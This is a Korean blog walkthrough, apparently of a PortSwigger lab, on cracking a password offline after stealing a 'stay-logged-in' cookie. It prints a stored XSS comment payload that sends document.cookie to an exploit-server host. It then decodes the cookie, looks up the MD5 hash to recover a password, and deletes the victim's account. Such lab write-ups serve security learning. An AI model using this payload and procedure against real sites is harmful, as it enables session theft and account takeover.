웹 해킹/portswigger

버프스위트를 이용한 웹 해킹, 인증 취약점: 다른 인증 메커니즘의 취약점: 오프라인 암호 크래킹

코드라니(CODERANY) 2026. 4. 27. 04:41

대상 웹 서버와 아무런 통신 없이 공격자의 로컬 PC(내 컴퓨터)에서 이루어지는 해

 

극히 드문 경우지만, 쿠키에 저장된 사용자의 실제 비밀번호가 해시 처리되어 있더라도 평문으로 유출될 가능성이 있습니다. 잘 알려진 비밀번호 목록의 해시 처리된 데이터는 온라인에서 구할 수 있으므로, 사용자의 비밀번호가 이러한 목록에 포함되어 있다면 해시 값을 검색 엔진에 붙여넣는 것만으로도 간단하게 복호화할 수 있습니다. 이는 효과적인 암호화에 있어 솔트의 중요성을 보여줍니다.

버프 스위트 브라우저로 실행한 상태에서 본인 계정을 사용하여 "로그인 상태 유지" 기능을 살펴보세요. stay-logged-in쿠키가 Base64로 인코딩되어 있는 것을 확인할 수 있습니다. 아래와 같은 형식으로 나타납니다.

username+':'+md5 Hash Of Password

이제 피해 사용자의 쿠키를 훔쳐야 합니다. 댓글 기능이 XSS 공격에 취약하다는 점을 참고하세요.
취약점 서버에 접속하여 URL을 기록해 두세요.
블로그 중 하나에 접속하여 다음 XSS 페이로드를 포함한 댓글을 남기세요. 이때, 본인의 익스플로잇 서버 ID를 반드시 입력해야 합니다.

<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>

공격 서버에서 액세스 로그를 엽니다. GET피해자의 stay-logged-in쿠키가 포함된 요청이 있을 것입니다.
Burp Decoder에서 쿠키를 디코딩하세요. 결과는 다음과 같습니다.

carlos:26323c16d5f4dabff3bb136f2460a943

해시값을 복사해서 검색 엔진에 붙여넣으세요. 그러면 비밀번호 onceuponatime를 획득 할 수 있습니다


피해자의 계정에 로그인하여 "내 계정" 페이지로 이동한 다음 해당 계정을 삭제하면 실험 과제를 완료할 수 있습니다.


메모
이 실습의 목적은 오프라인에서 비밀번호를 해킹하는 가능성을 보여주는 것입니다. 아마도 hashcat과 같은 도구를 사용하여 이를 수행할 수 있을 것입니다. 고객 웹사이트를 테스트할 때 실제 비밀번호의 해시값을 검색 엔진에 제출하는 것은 권장하지 않습니다.